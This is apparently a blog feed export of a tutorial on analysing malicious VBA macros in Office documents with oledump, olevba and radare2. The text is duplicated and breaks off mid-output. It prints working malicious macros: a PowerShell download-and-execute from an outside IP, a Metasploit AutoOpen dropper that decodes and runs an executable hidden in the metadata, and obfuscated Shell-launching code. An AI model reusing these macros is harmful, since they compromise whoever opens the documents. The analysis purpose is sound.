should be analyzed to determine what is useful and what can be safely discarded. Look for aspect where the code carries out possible dangerous commands and if they can be safely replaced to output to a message box or terminal, instead of executing other commands.&#xA;&#xA;Tool olevba&#xA;&#xA;Another tool to extract the source code is olevba, below is the sample document being analyzed with this tool&#xA;&#xA;❯ olevba Doc5.docm&#xA;olevba 0.55.1 on Python 3.8.3 - http://decalage.info/python/oletools&#xA;&#xA;FILE: Doc5.docm&#xA;Type: OpenXML&#xA;Error: [Errno 2] No such file or directory: &#39;word/vbaProject.bin&#39;.&#xA;-------------------------------------------------------------------------------&#xA;VBA MACRO ThisDocument.cls&#xA;in file: word/vbaProject.bin - OLE stream: &#39;VBA/ThisDocument&#39;&#xA;- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -&#xA;(empty macro)&#xA;-------------------------------------------------------------------------------&#xA;VBA MACRO NewMacros.bas&#xA;in file: word/vbaProject.bin - OLE stream: &#39;VBA/NewMacros&#39;&#xA;- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -&#xA;[..SOURCE CODE..]&#xA;+----------+--------------------+---------------------------------------------+&#xA;|Type      |Keyword             |Description                                  |&#xA;+----------+--------------------+---------------------------------------------+&#xA;|Suspicious|Shell               |May run an executable file or a system       |&#xA;|          |                    |command                                      |&#xA;|Suspicious|vbHide              |May run an executable file or a system       |&#xA;|          |                    |command                                      |&#xA;|Suspicious|Chr                 |May attempt to obfuscate specific strings    |&#xA;|          |                    |(use option --deobf to deobfuscate)          |&#xA;|Suspicious|StrReverse          |May attempt to obfuscate specific strings    |&#xA;|          |                    |(use option --deobf to deobfuscate)          |&#xA;+----------+--------------------+---------------------------------------------+&#xA;&#xA;An advantage of this tool is that it provides some parts of the code that are often used in malicious macro codes, which can be an initial step to determining whether the macro might be malicious or not and a starting point on what to check.&#xA;&#xA;Extracting Metadata&#xA;&#xA;In newer Office documents, the metadata is stored in a file called core.xml and can be viewed with the command xmllint&#xA;&#xA;xmllint --format core.xml&#xA;&#xA;The output is formatted and can be easily read&#xA;&#xA;?xml version=&#34;1.0&#34; encoding=&#34;UTF-8&#34; standalone=&#34;yes&#34;?&#xA;cp:coreProperties xmlns:cp=&#34;http://schemas.openxmlformats.org/package/2006/metadata/core-properties&#34; xmlns:dc=&#34;http://purl.org/dc/elements/1.1/&#34; xmlns:dcterms=&#34;http://purl.org/dc/terms/&#34; xmlns:dcmitype=&#34;http://purl.org/dc/dcmitype/&#34; xmlns:xsi=&#34;http://www.w3.org/2001/XMLSchema-instance&#34;&#xA;  dc:titleJXZzaiRrc[..SNIP..]SR3bWxY/dc:title&#xA;  dc:subject/&#xA;  dc:creatorDocument Author/dc:creator&#xA;  cp:keywordsWW91J3JlIGluIHR[..SNIP..]XJkZXIh/cp:keywords&#xA;  dc:descriptiongWpoNDZoPTZqNzlpPTE5O2l[..SNIP..]HBpbHd2aXtzdA/dc:description&#xA;  cp:lastModifiedByDocument Author/cp:lastModifiedBy&#xA;  cp:revision7/cp:revision&#xA;  dcterms:created xsi:type=&#34;dcterms:W3CDTF&#34;2020-07-16T00:41:00Z/dcterms:created&#xA;  dcterms:modified xsi:type=&#34;dcterms:W3CDTF&#34;2020-07-16T00:55:00Z/dcterms:modified&#xA;/cp:coreProperties&#xA;&#xA;There are a couple of encoded strings visible and the macro makes reference to the metadata. Having encoded strings in the metadata can also be a red flag, these can often contain other data that the macro needs, such as having URL or IP addresses of where to download another stage. Decoding them can provide more details, though it may be possible that multiple encodings are used.&#xA;&#xA;Metasploit Reverse Shell&#xA;&#xA;This is a reverse shell macro that was created using Metasploit, this is a good beginner sample that can be used to practice analysis of malware documents. This section is a walkthrough of how to check this document.&#xA;&#xA;First checking the file using oledump shows the following output&#xA;&#xA;A: word/vbaProject.bin&#xA; A1:       385 &#39;PROJECT&#39;&#xA; A2:        71 &#39;PROJECTwm&#39;&#xA; A3: M    5871 &#39;VBA/NewMacros&#39;&#xA; A4: m    1073 &#39;VBA/ThisDocument&#39;&#xA; A5:      4400 &#39;VBA/VBAPROJECT&#39;&#xA; A6:       734 &#39;VBA/dir&#39;&#xA;&#xA;When extracting the content of the object A3, this is the object that is checked as it has the letter M and this is used by the oledump tool to denote macro code.&#xA;&#xA;Attribute VBName = &#34;NewMacros&#34;&#xA;Public Declare PtrSafe Function system Lib &#34;libc.dylib&#34; (ByVal command As String) As Long&#xA;&#xA;Sub AutoOpen()&#xA;    On Error Resume Next&#xA;    Dim foundvalue As String&#xA;&#xA;    For Each prop In ActiveDocument.BuiltInDocumentProperties&#xA;        If prop.Name = &#34;Comments&#34; Then&#xA;            foundvalue = Mid(prop.Value, 56)&#xA;            origval = Base64Decode(foundvalue)&#xA;            #If Mac Then&#xA;                ExecuteForOSX (origval)&#xA;            #Else&#xA;                ExecuteForWindows (origval)&#xA;            #End If&#xA;            Exit For&#xA;        End If&#xA;    Next&#xA;End Sub&#xA;&#xA;Sub ExecuteForWindows(code)&#xA;    On Error Resume Next&#xA;    Set fso = CreateObject(&#34;Scripting.FileSystemObject&#34;)&#xA;    tmpfolder = fso.GetSpecialFolder(2)&#xA;    tmpname = tmpfolder + &#34;\&#34; + fso.GetTempName() + &#34;.exe&#34;&#xA;    Set f = fso.createTextFile(tmpname)&#xA;    f.Write (code)&#xA;    f.Close&#xA;    CreateObject(&#34;WScript.Shell&#34;).Run (tmpname)&#xA;End Sub&#xA;&#xA;Sub ExecuteForOSX(code)&#xA;    System (&#34;echo &#34;&#34;&#34; &amp; code &amp; &#34;&#34;&#34; | python &amp;&#34;)&#xA;End Sub&#xA;&#xA;&#39; Decodes a base-64 encoded string (BSTR type).&#xA;&#39; 1999 - 2004 Antonin Foller, http://www.motobit.com&#xA;&#39; 1.01 - solves problem with Access And &#39;Compare Database&#39; (InStr)&#xA;Function Base64Decode(ByVal base64String)&#xA;  &#39;rfc1521&#xA;  &#39;1999 Antonin Foller, Motobit Software, http://Motobit.cz&#xA;  Const Base64 = &#34;ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/&#34;&#xA;  Dim dataLength, sOut, groupBegin&#xA;  &#xA;  base64String = Replace(base64String, vbCrLf, &#34;&#34;)&#xA;  base64String = Replace(base64String, vbTab, &#34;&#34;)&#xA;  base64String = Replace(base64String, &#34; &#34;, &#34;&#34;)&#xA;  &#xA;  dataLength = Len(base64String)&#xA;  If dataLength Mod 4  0 Then&#xA;    Err.Raise 1, &#34;Base64Decode&#34;, &#34;Bad Base64 string.&#34;&#xA;    Exit Function&#xA;  End If&#xA;&#xA;  &#xA;  For groupBegin = 1 To dataLength Step 4&#xA;    Dim numDataBytes, CharCounter, thisChar, thisData, nGroup, pOut&#xA;    numDataBytes = 3&#xA;    nGroup = 0&#xA;&#xA;    For CharCounter = 0 To 3&#xA;&#xA;      thisChar = Mid(base64String, groupBegin + CharCounter, 1)&#xA;&#xA;      If thisChar = &#34;=&#34; Then&#xA;        numDataBytes = numDataBytes - 1&#xA;        thisData = 0&#xA;      Else&#xA;        thisData = InStr(1, Base64, thisChar, vbBinaryCompare) - 1&#xA;      End If&#xA;      If thisData = -1 Then&#xA;        Err.Raise 2, &#34;Base64Decode&#34;, &#34;Bad character In Base64 string.&#34;&#xA;        Exit Function&#xA;      End If&#xA;&#xA;      nGroup = 64 * nGroup + thisData&#xA;    Next&#xA;    &#xA;    nGroup = Hex(nGroup)&#xA;    &#xA;    nGroup = String(6 - Len(nGroup), &#34;0&#34;) &amp; nGroup&#xA;    &#xA;    pOut = Chr(CByte(&#34;&amp;H&#34; &amp; Mid(nGroup, 1, 2))) + &#xA;      Chr(CByte(&#34;&amp;H&#34; &amp; Mid(nGroup, 3, 2))) + &#xA;      Chr(CByte(&#34;&amp;H&#34; &amp; Mid(nGroup, 5, 2)))&#xA;    &#xA;    sOut = sOut &amp; Left(pOut, numDataBytes)&#xA;  Next&#xA;&#xA;  Base64Decode = sOut&#xA;End Function&#xA;&#xA;The source code on this instance is not obfuscated, which makes it easier to analyze, and there is a check for the OS that is running so that different commands are used. There is a reference to the Comments property that is found in the metadata.&#xA;&#xA;Checking the core.xml file it shows a big block of data in the description field&#xA;&#xA;?xml version=&#34;1.0&#34; encoding=&#34;UTF-8&#34; standalone=&#34;yes&#34;?&#xA;cp:coreProperties xmlns:cp=&#34;http://schemas.openxmlformats.org/package/2006/metadata/core-properties&#34; xmlns:dc=&#34;http://purl.org/dc/elements/1.1/&#34; xmlns:dcterms=&#34;http://purl.org/dc/terms/&#34; xmlns:dcmitype=&#34;http://purl.org/dc/dcmitype/&#34; xmlns:xsi=&#34;http://www.w3.org/2001/XMLSchema-instance&#34;&#xA;  dc:title/&#xA;  dc:subject/&#xA;  dc:creator/&#xA;  cp:keywords/&#xA;  dc:descriptionTVqQAAMAAA[...]GFiLnBkYgA=/dc:description&#xA;  cp:lastModifiedByWei Chen/cp:lastModifiedBy&#xA;  cp:revision1/cp:revision&#xA;  dcterms:created xsi:type=&#34;dcterms:W3CDTF&#34;2017-05-25T19:12:00Z/dcterms:created&#xA;  dcterms:modified xsi:type=&#34;dcterms:W3CDTF&#34;2017-05-25T19:28:00Z/dcterms:modified&#xA;  cp:category/&#xA;/cp:coreProperties&#xA;&#xA;The long string is encoded using Base64, when decoding the data it results in a binary file.&#xA;&#xA;Checking the Windows executable with Radare2 shows the following&#xA;&#xA;❯ r2 msf.dat&#xA;[0x00407354]  i&#xA;fd       3&#xA;file     msf.dat&#xA;size     0x1204a&#xA;humansz  72.1K&#xA;mode     r-x&#xA;format   pe&#xA;iorw     false&#xA;blksz    0x0&#xA;block    0x100&#xA;type     EXEC (Executable file)&#xA;arch     x86&#xA;baddr    0x400000&#xA;binsz    73802&#xA;bintype  pe&#xA;bits     32&#xA;canary   false&#xA;retguard false&#xA;class    PE32&#xA;cmp.csum 0x000125dd&#xA;compiled Tue Apr 14 04:46:43 2009&#xA;crypto   false&#xA;dbg_file C:\local0\asf\release\build-2.2.14\support\Release\ab.pdb&#xA;endian   little&#xA;havecode true&#xA;hdr.csum 0x00000000&#xA;guid     4AC180361&#xA;laddr    0x0&#xA;lang     c&#xA;linenum  true&#xA;lsyms    true&#xA;machine  i386&#xA;maxopsz  16&#xA;minopsz  1&#xA;nx       false&#xA;os       windows&#xA;overlay  true&#xA;cc       cdecl&#xA;pcalign  0&#xA;pic      false&#xA;relocs   true&#xA;signed   false&#xA;sanitiz  false&#xA;static   false&#xA;stripped false&#xA;subsys   Windows GUI&#xA;va       true&#xA;&#xA;The binary analysis of this is out of the scope of this documentation, however, it establishes a reverse shell back to the attacker.&#xA;]]&gt;</description>
      <content:encoded><![CDATA[<p>Having the possibility of including code within a file allows for certain tasks to be carried out when handling documents. Whether that is to enhance the content or to process data within the document. However, having this feature has been abused by malicious actors for a long time and little can be done to mitigate this attack vector without removing the functionality from the document.</p>

<p>Microsoft includes the ability to embed Visual Basic for Applications code within Office documents since 1993 with the first version being implemented in Excel. Allowing the users to record actions to automate working with documents.</p>

<p>Visual Basic for Applications or VBA is based off of Visual Basic 6, which it&#39;s Microsoft&#39;s event-driven programming language that was discontinued back in 2008. However, the language lives on in VBA and it facilitates automating tasks within Office Documents and also in VBScripts.</p>



<h1 id="office-document-structure" id="office-document-structure">Office Document Structure</h1>

<p>In early 2000, Microsoft changed the file format from a single binary file that had a closed standard to the open standard, which utilizes XML files to make up the file. It became the default format in Office 2007.</p>

<p>Officially called the <em>Office Open XML</em> and differentiated with an <em>x</em> at the end of the extension, the file itself is made up of mainly XML files which are contained in a zip archive. Besides XML files, any other files that are inserted into the document are also included within the zip archive.</p>

<p>Within the zip archive there are some files that exist independent of the type of document, these are the Metadata files, and files that exist depending on the type of document, these are called respectively <em>Document</em> and are stored in a directory with the document type as the name.</p>

<p>The contents of the archive may differ depending on the program that created the file.</p>

<h2 id="metadata-files" id="metadata-files">Metadata Files</h2>

<p>There are 3 files that are used for this section</p>
<ul><li><strong>Content Types</strong>: This XML file specifies the file type for any of the extensions of the files that are included within the archive. The file is named <code>[Content_Types].xml</code></li>
<li><strong>Relationships</strong>: The files that end in <code>.rels</code> act as a type of <em>index</em> file, meaning that this tells the program where to locate all of the files that are related to the different parts that make up the document. It is located in <code>_rels/.rels</code>, that contains the details for the primary files within the document.</li>
<li><strong>References to Resources</strong>: Each component, for example a page within a Word document, will have it&#39;s own <code>_rels/&lt;resource&gt;.xml.rels</code> file that points to other files that have a relation with the specific resource, for example including an entry for an image file that is shown in one of the pages of the Word document.</li></ul>

<h2 id="document-properties" id="document-properties">Document Properties</h2>

<p>Located in the directory <code>docProps</code>, this contains two XML files that contains the properties of the document</p>
<ul><li><strong>app.xml</strong>: This file contains several file properties that relate to the application, including metrics data and program versions</li>
<li><strong>core.xml</strong>: This file contains document data such as Title, author, timestamps, among other properties. Some properties may be user modifiable and others are controlled by the program.</li></ul>

<h2 id="main-document-contents" id="main-document-contents">Main Document Contents</h2>

<p>The document contents are included in this directory and the directory name depends on the program that creates the file</p>
<ul><li><strong>word</strong>: Word Documents</li>
<li><strong>ppt</strong>: PowerPoint Presentations</li>
<li><strong>xl</strong>: Excel Spreadsheets</li></ul>

<p>The contents of this directory will vary between the format types, however, they mainly include any styling data and the distribution of the document contents.</p>

<p>Macros may also be included within this directory or they may exist in a separate <code>Macros</code> directory.</p>

<h2 id="media" id="media">Media</h2>

<p>This directory includes any media, such as images, that are inserted into the document.</p>

<h1 id="malware-in-macros" id="malware-in-macros">Malware in Macros</h1>

<p>Malware is often embedded within Office documents and use enticing names and messages to have users open the documents and ignore any alerts.</p>

<p>Original versions of Office would automatically execute any macros that were included, which made it easier for malicious actors as they would only need to have the victim open the file. Due to this, Microsoft changed the way the Macros work and now it requires user intervention to start the execution of the macro, the user is alerted of the risk of running macros in unknown files.</p>

<p>Because of this change, malicious actors need to resort to creative measures to have the victim ignore the alert and run the macro code. Corporate environments may use macros within their documents and don&#39;t always take into consideration the employee education or signing the documents to avoid any alerts, this results in users being educated to ignore the alerts and makes it easier for the malicious actors.</p>

<p>There are multiple ways that the macros can be abused to attack the victim&#39;s system. There are some cases where the malware is within the code itself or it may encode a binary file that is then decoded, saved to disk, and executed.</p>

<p>Recent cases are using the Office document as a first stage, where PowerShell code is leveraged to download a second stage which contains the actual malware. Due to current detection mechanisms in different security tools used, the malicious actors need to encode payloads and commands with different methods which include simple encoding algorithms, such as Base64, and reversing strings or obfuscating the strings within the code.</p>

<p>A simple example for a first stage using macros is shown in <a href="https://prohackerland.com/how-to-create-microsoft-office-macro-malware-phishing-attack/">How to create Microsoft Office macro malware – phishing attack</a></p>

<pre><code class="language-vbscript">Sub Auto_Open()
  Dim exec As String
  exec = “powershell.exe “”IEX ((new-object net.webclient).downloadstring(‘http://192.168.1.104/tar.txt’))”””
  Shell (exec)
End Sub
</code></pre>

<p>In this example, the attack is simple and is not obfuscated, the code simply downloads a file from a web server and executes it using PowerShell. The code in the PowerShell script could contain malicious intent in the way of being a second stage or even establishing a reverse shell, the possibilities are endless.</p>

<p>During an investigation, it would be necessary to download any additional files that the macro downloads in order to create the complete picture and look for indicators of compromise, these can be used to look for other systems that may have been infected or even establish monitoring rules to look out for new victims.</p>

<p>Parts of the malware can be placed within the metadata of the document, this serves as an easy hiding spot and can be quickly changed without having to go into the code to alter the payload.</p>

<h2 id="entry-point" id="entry-point">Entry Point</h2>

<p>For macro codes, there are several functions that can act as an entry point for the execution, this will depend on the intention or obfuscation method that the malicious actor may choose. It&#39;s more common for certain security applications to open email attachments for quick analysis, in order to avoid the malware from being triggered from the start, the malicious actor can use a different function that triggers the malware execution at a different point or under certain conditions.</p>

<p>Below is a sample obfuscated code that serves as the entry point for the malware, where the function <code>DecodeDocument</code> is used</p>

<pre><code class="language-vbscript">Attribute VB_Name = &#34;NewMacros&#34;                                                   
Sub DecodeDocument()                                                                                                                                                 
Attribute DecodeDocument.VB_ProcData.VB_Invoke_Func = &#34;Project.NewMacros.DecodeDocument&#34;
&#39;                   
&#39; DecodeDocument Macro        
&#39;                                                                                 
&#39;                  
    Dim d3h5dHh5U3BwaWxX
    ODppd2VGaGloc2dpSA = ThisDocument.BuiltInDocumentProperties(Chr(67) + Chr(111) + Chr(109) + Chr(109) + Chr(101) + Chr(110) + Chr(116) + Chr(115))
    a3JtdnhXZ212aXF5UmVsdHBF = aWhzZ2lI(&#34;3/=&lt;;:987654~}|{zyxwvutsrqponmlkjihgfe^]\[ZYXWVUTSRQPONMLKJIHGFE&#34;)                                
    d2hyZXFxc0doaWhzZ2lI = QmFzZTY0X0RlY29kZQo(ODppd2VGaGloc2dpSA, a3JtdnhXZ212aXF5UmVsdHBF)
    eHxpWHJtZXBU = aWhzZ2lI(d2hyZXFxc0doaWhzZ2lI)                                 
    d3h5dHh5U3BwaWxX = Shell(eHxpWHJtZXBU, vbHide)                                
End Sub                                                                           
</code></pre>

<h2 id="base64-decode-function" id="base64-decode-function">Base64 Decode Function</h2>

<p>The VBA implementation does not contain a function or library that can quickly encode or decode Base64, however, it can be easily implemented using other areas of Office, an example is shown with the following code</p>

<pre><code class="language-vbscript">Private Function EncodeBase64(ByRef arrData() As Byte) As String

    Dim objXML As MSXML2.DOMDocument
    Dim objNode As MSXML2.IXMLDOMElement
   
    &#39; help from MSXML
    Set objXML = New MSXML2.DOMDocument
   
    &#39; byte array to base64
    Set objNode = objXML.createElement(&#34;b64&#34;)
    objNode.dataType = &#34;bin.base64&#34;
    objNode.nodeTypedValue = arrData
    EncodeBase64 = objNode.Text

 

    &#39; thanks, bye
    Set objNode = Nothing
    Set objXML = Nothing

End Function

Private Function DecodeBase64(ByVal strData As String) As Byte()

    Dim objXML As MSXML2.DOMDocument
    Dim objNode As MSXML2.IXMLDOMElement
   
    &#39; help from MSXML
    Set objXML = New MSXML2.DOMDocument
    Set objNode = objXML.createElement(&#34;b64&#34;)
    objNode.dataType = &#34;bin.base64&#34;
    objNode.Text = strData
    DecodeBase64 = objNode.nodeTypedValue
   
    &#39; thanks, bye
    Set objNode = Nothing
    Set objXML = Nothing

End Function
</code></pre>

<p>Malicious actors may sometimes create their own implementation of certain functionality within the malware, this can be done for various reasons, one of them is because there is no simpler way to do this within the language or it could also be to obfuscate the code. It is also common for only decoders to be included within the code of the macro, specially in cases where the macro code doesn&#39;t need to encode any data.</p>

<p>Below is an obfuscated Base64 decoder that is found in a sample malware</p>

<pre><code class="language-vbscript">Function QmFzZTY0X0RlY29kZQo(GYDozL, xbZuLutP)
    Dim VAIXQ,vgDKwiF,cWBqjCKwBl,CBnhtvROBWJf,VdNmpUUu,uOatMJ,GkdMVutOqmk,fqcaXNK,StBHym,NDXnaxDDQ,iXQiRtcgmWEUplc

    CBnhtvROBWJf = 2      
    VAIXQ = bGVuZ3RoCg(GYDozL)
    VdNmpUUu = 8
    uOatMJ = 16 * 4

    For cWBqjCKwBl = 1 To VAIXQ Step 4
        Dim zIlis,OaRRODd,WuFeJHdca,MmrJRSmq,EgnwkcNgcIgofn,dzYTBeK,xuRJndLZwLYPC,URJApvGRUMy,lpIcVNAjHiIgkw,ONOzKt,SdwnMSAxfcsNR

        zIlis = 3
        EgnwkcNgcIgofn = 0

        For OaRRODd = 0 To 3
            WuFeJHdca = Mid(GYDozL, cWBqjCKwBl + OaRRODd, 1)

            If WuFeJHdca = &#34;=&#34; Then
                zIlis = zIlis - 1
                MmrJRSmq = 0
            Else
                MmrJRSmq = InStr(1, xbZuLutP, WuFeJHdca, vbBinaryCompare) - 1
            End If

            EgnwkcNgcIgofn = 64 * EgnwkcNgcIgofn + MmrJRSmq
        Next

        EgnwkcNgcIgofn = Hex(EgnwkcNgcIgofn)
        EgnwkcNgcIgofn = String(6 - Len(EgnwkcNgcIgofn), &#34;0&#34;) &amp; EgnwkcNgcIgofn

        dzYTBeK = Chr(CByte(&#34;&amp;H&#34; &amp; Mid(EgnwkcNgcIgofn, 1, 2))) + _
            Chr(CByte(&#34;&amp;H&#34; &amp; Mid(EgnwkcNgcIgofn, 3, 2))) + _
            Chr(CByte(&#34;&amp;H&#34; &amp; Mid(EgnwkcNgcIgofn, 5, 2)))

        vgDKwiF = vgDKwiF &amp; Left(dzYTBeK, zIlis)
    Next

    QmFzZTY0X0RlY29kZQo = vgDKwiF
End Function
</code></pre>

<p>The function accepts two parameters:</p>
<ul><li>GYDozL = Base64 encoded string</li>
<li>xbZuLutP = Alphanumeric string <code>&#34;ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/&#34;</code></li></ul>

<p>There are also variables that are used as decoy, meaning that their values are never utilized after being assigned and this can also be done with functions, where multiple functions can be created, but never used or functions can be called but their output is never used.</p>

<p>Encoding is not used with security in mind, it&#39;s used with the idea of making commands not easily detectable or due to encoding conversion or when transferring data over the Internet not risking parts of the code being lost.</p>

<p>For this next sample code, the characters are moved over by 4 bytes, in a ROT13 style, and then the whole string is reversed.</p>

<pre><code class="language-vbscript">Function aWhzZ2lI(a3JtdnhXaGloc2dySQ)
    Dim b As String, i As Long, a() As Byte, sh
    a = StrConv(a3JtdnhXaGloc2dySQ, vbFromUnicode)
    For i = 0 To UBound(a)
        a(i) = a(i) - 4
    Next i
    b = StrReverse(StrConv(a, vbUnicode))
    aWhzZ2lI = b
End Function
</code></pre>

<p>There is only one input parameter, which is the string that is encoded.</p>

<p>One way to analyze a function is to look at what parameters the functions are called with and what output they return, it is still important to look for any calls that may execute any commands outside of the code or Office document.</p>

<h2 id="renaming-functions" id="renaming-functions">Renaming Functions</h2>

<p>Given that VBA doesn&#39;t have the possibility to rename functions, like languages like JavaScript allows, a workaround is to create a function that simply returns the value that the other function returns.</p>

<p>In this example, to obfuscate the function <em>Len</em>, a function is created with a random string of characters.</p>

<pre><code class="language-vbscript">Function bGVuZ3RoCg(c3RyaW5nCg)
    bGVuZ3RoCg = Len(c3RyaW5nCg)
End Function
</code></pre>

<h1 id="document-analysis" id="document-analysis">Document Analysis</h1>

<p>This section shows a quick analysis of a Word document. Microsoft Office documents that have a macro embedded receive an extension that ends with the letter <code>m</code>, though this can be changed.</p>

<p>The first step is to check the contents of the archive, the 7-zip utility can be used for this task</p>

<pre><code class="language-shellsession">❯ 7z l Doc5.docm

7-Zip [64] 16.02 : Copyright (c) 1999-2016 Igor Pavlov : 2016-05-21
p7zip Version 16.02 (locale=en_US.UTF-8,Utf16=on,HugeFiles=on,64 bits,2 CPUs Intel(R) Core(TM) i7-7500U CPU @ 2.70GHz (806E9),ASM,AES-NI)

Scanning the drive for archives:
1 file, 26568 bytes (26 KiB)

Listing archive: Doc5.docm

--
Path = Doc5.docm
Type = zip
Physical Size = 26568

   Date      Time    Attr         Size   Compressed  Name
------------------- ----- ------------ ------------  ------------------------
1980-01-01 00:00:00 .....         1585          413  [Content_Types].xml
1980-01-01 00:00:00 .....          590          239  _rels/.rels
1980-01-01 00:00:00 .....         4526         1557  word/document.xml
1980-01-01 00:00:00 .....         1081          301  word/_rels/document.xml.rels
1980-01-01 00:00:00 .....        27648        10834  word/vbaProject.bin
1980-01-01 00:00:00 .....         8393         1746  word/theme/theme1.xml
1980-01-01 00:00:00 .....          277          191  word/_rels/vbaProject.bin.rels
1980-01-01 00:00:00 .....         2474          609  word/vbaData.xml
1980-01-01 00:00:00 .....         3194         1105  word/settings.xml
1980-01-01 00:00:00 .....          241          155  customXml/item1.xml
1980-01-01 00:00:00 .....          341          225  customXml/itemProps1.xml
1980-01-01 00:00:00 .....        29364         2924  word/styles.xml
1980-01-01 00:00:00 .....          803          313  word/webSettings.xml
1980-01-01 00:00:00 .....         1567          502  word/fontTable.xml
1980-01-01 00:00:00 .....          991          572  docProps/core.xml
1980-01-01 00:00:00 .....         1041          524  docProps/app.xml
1980-01-01 00:00:00 .....          296          194  customXml/_rels/item1.xml.rels
------------------- ----- ------------ ------------  ------------------------
1980-01-01 00:00:00              84412        22404  17 files
</code></pre>

<p>The fact that there is a <code>vbaProject.bin.rels</code> file confirms that there is a macro present within the document, this could be a red flag if there is no expectation of a macro being embedded within the document. Further analysis should be carried out in order to determine if the code is malicious or not.</p>

<h2 id="extracting-macro-source-code" id="extracting-macro-source-code">Extracting Macro Source Code</h2>

<p>There are tools that are able to extract source code from the document, such as <a href="https://blog.didierstevens.com/programs/oledump-py/"><code>oledump</code></a>. This tool can be used to analyze the document.</p>

<pre><code class="language-shellsession">❯ oledump Doc5.docm
A: word/vbaProject.bin
 A1:       412 &#39;PROJECT&#39;
 A2:        71 &#39;PROJECTwm&#39;
 A3: M    7836 &#39;VBA/NewMacros&#39;
 A4: m    1135 &#39;VBA/ThisDocument&#39;
 A5:      5028 &#39;VBA/_VBA_PROJECT&#39;
 A6:      3195 &#39;VBA/__SRP_0&#39;
 A7:       340 &#39;VBA/__SRP_1&#39;
 A8:      3399 &#39;VBA/__SRP_2&#39;
 A9:       366 &#39;VBA/__SRP_3&#39;
A10:       348 &#39;VBA/__SRP_4&#39;
A11:       106 &#39;VBA/__SRP_5&#39;
A12:       571 &#39;VBA/dir&#39;
</code></pre>

<p>The output above shows multiple objects that are identified by the <em>A</em> code at the start of the line and can be easily extracted with the following command</p>

<pre><code class="language-shell">oledump Doc5.docm -v -s A3
</code></pre>

<p>This would output the object <em>A3</em>, which is the source code of the macro that is contained within the document, this is also identified by the capital <em>M</em> found on the first output.</p>

<p>Not all macros will execute upon loading the document in an Office program, this can be done to avoid automatic analysis with sandbox tools. The function <code>autoopen</code> would be used for those documents that do execute the code upon opening, the following code is an example of this case</p>

<pre><code class="language-vbscript">Sub autoopen()
  MsgBox (&#34;hello world&#34;)
End Sub
</code></pre>

<p>After the code is extracted, it should be analyzed to determine what is useful and what can be safely discarded. Look for aspect where the code carries out possible dangerous commands and if they can be safely replaced to output to a message box or terminal, instead of executing other commands.</p>

<h2 id="tool-olevba" id="tool-olevba">Tool olevba</h2>

<p>Another tool to extract the source code is <a href="http://decalage.info/python/oletools"><code>olevba</code></a>, below is the sample document being analyzed with this tool</p>

<pre><code class="language-shellsession">❯ olevba Doc5.docm
olevba 0.55.1 on Python 3.8.3 - http://decalage.info/python/oletools
===============================================================================
FILE: Doc5.docm
Type: OpenXML
Error: [Errno 2] No such file or directory: &#39;word/vbaProject.bin&#39;.
-------------------------------------------------------------------------------
VBA MACRO ThisDocument.cls
in file: word/vbaProject.bin - OLE stream: &#39;VBA/ThisDocument&#39;
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
(empty macro)
-------------------------------------------------------------------------------
VBA MACRO NewMacros.bas
in file: word/vbaProject.bin - OLE stream: &#39;VBA/NewMacros&#39;
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
[..SOURCE CODE..]
+----------+--------------------+---------------------------------------------+
|Type      |Keyword             |Description                                  |
+----------+--------------------+---------------------------------------------+
|Suspicious|Shell               |May run an executable file or a system       |
|          |                    |command                                      |
|Suspicious|vbHide              |May run an executable file or a system       |
|          |                    |command                                      |
|Suspicious|Chr                 |May attempt to obfuscate specific strings    |
|          |                    |(use option --deobf to deobfuscate)          |
|Suspicious|StrReverse          |May attempt to obfuscate specific strings    |
|          |                    |(use option --deobf to deobfuscate)          |
+----------+--------------------+---------------------------------------------+
</code></pre>

<p>An advantage of this tool is that it provides some parts of the code that are often used in malicious macro codes, which can be an initial step to determining whether the macro might be malicious or not and a starting point on what to check.</p>

<h2 id="extracting-metadata" id="extracting-metadata">Extracting Metadata</h2>

<p>In newer Office documents, the metadata is stored in a file called <code>core.xml</code> and can be viewed with the command <code>xmllint</code></p>

<pre><code class="language-shell">xmllint --format core.xml
</code></pre>

<p>The output is formatted and can be easily read</p>

<pre><code class="language-xml:core.xml">&lt;?xml version=&#34;1.0&#34; encoding=&#34;UTF-8&#34; standalone=&#34;yes&#34;?&gt;
&lt;cp:coreProperties xmlns:cp=&#34;http://schemas.openxmlformats.org/package/2006/metadata/core-properties&#34; xmlns:dc=&#34;http://purl.org/dc/elements/1.1/&#34; xmlns:dcterms=&#34;http://purl.org/dc/terms/&#34; xmlns:dcmitype=&#34;http://purl.org/dc/dcmitype/&#34; xmlns:xsi=&#34;http://www.w3.org/2001/XMLSchema-instance&#34;&gt;
  &lt;dc:title&gt;JXZzaiRrc[..SNIP..]SR3bWxY&lt;/dc:title&gt;
  &lt;dc:subject/&gt;
  &lt;dc:creator&gt;Document Author&lt;/dc:creator&gt;
  &lt;cp:keywords&gt;WW91J3JlIGluIHR[..SNIP..]XJkZXIh&lt;/cp:keywords&gt;
  &lt;dc:description&gt;gWpoNDZoPTZqNzlpPTE5O2l[..SNIP..]HBpbHd2aXtzdA&lt;/dc:description&gt;
  &lt;cp:lastModifiedBy&gt;Document Author&lt;/cp:lastModifiedBy&gt;
  &lt;cp:revision&gt;7&lt;/cp:revision&gt;
  &lt;dcterms:created xsi:type=&#34;dcterms:W3CDTF&#34;&gt;2020-07-16T00:41:00Z&lt;/dcterms:created&gt;
  &lt;dcterms:modified xsi:type=&#34;dcterms:W3CDTF&#34;&gt;2020-07-16T00:55:00Z&lt;/dcterms:modified&gt;
&lt;/cp:coreProperties&gt;
</code></pre>

<p>There are a couple of encoded strings visible and the macro makes reference to the metadata. Having encoded strings in the metadata can also be a red flag, these can often contain other data that the macro needs, such as having URL or IP addresses of where to download another stage. Decoding them can provide more details, though it may be possible that multiple encodings are used.</p>

<h1 id="metasploit-reverse-shell" id="metasploit-reverse-shell">Metasploit Reverse Shell</h1>

<p>This is a reverse shell macro that was created using Metasploit, this is a good beginner sample that can be used to practice analysis of malware documents. This section is a walkthrough of how to check this document.</p>

<p>First checking the file using <code>oledump</code> shows the following output</p>

<pre><code class="language-shellsession">A: word/vbaProject.bin
 A1:       385 &#39;PROJECT&#39;
